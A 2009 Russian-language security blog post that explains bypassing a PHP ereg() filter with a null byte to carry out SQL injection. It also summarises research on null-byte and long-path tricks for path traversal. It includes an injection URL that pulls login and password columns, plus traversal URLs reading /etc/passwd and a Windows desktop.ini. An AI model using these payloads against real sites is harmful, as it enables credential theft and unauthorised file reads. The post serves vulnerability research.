18 Апреля, 2009

SQL Injection & null-byte

Dmitriy Evteev
На прошлой неделе исследовал программный WAF (web application firewall). И в процессе поиска путей обхода фильтров наткнулся на интересный способ эксплуатации уязвимости SQL Injection с использованием null-byte. Суть его заключается в следующем. Предположим, что у нас имеется следующий php-код: 1. ... 2. if (ereg ("^(.){1,3}$", $_GET['id'], $regs)) { 3. mysql_query("SELECT id,email FROM members where id=".$_GET['id']); 4. ... name='more'> Тогда, с использованием null-byte возможно осуществить внедрение операторов SQL. Под mysql запрос для проведения атаки будет выглядеть примерно так: http://target/?id=1/*%00*/union+select+id,concat_ws(0x3a,login,password)+from+users Подобная атака становиться возможной по причине имеющихся недостатков в функциях ereg(), eregi() и др. К слову, про использование null-byte. Пару месяцев назад Raz0r опубликовал материалы исследования по теме замены null-byte при эксплуатации уязвимостей path traversal на web-сервере использующем php. Данный вектор станет полезным, например, в случаях, когда включен magic_quotes или используется некоторая фильтрация входящих параметров. Если кратко, то для пхп текущей версии и ниже, следующие конструкции являются равнозначными: - для win http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini%00 http://target/?file=non/../../../../Documents%20and%20Settings/Default%20User/Local%20Settings/desktop.ini...[1024]... - для nix http://target/?file=non/../../../../../etc/passwd%00 http://target/?file=non/../../../../../etc/passwd/././.[1024-4096]/././. Ссылка на оригинальное исследование.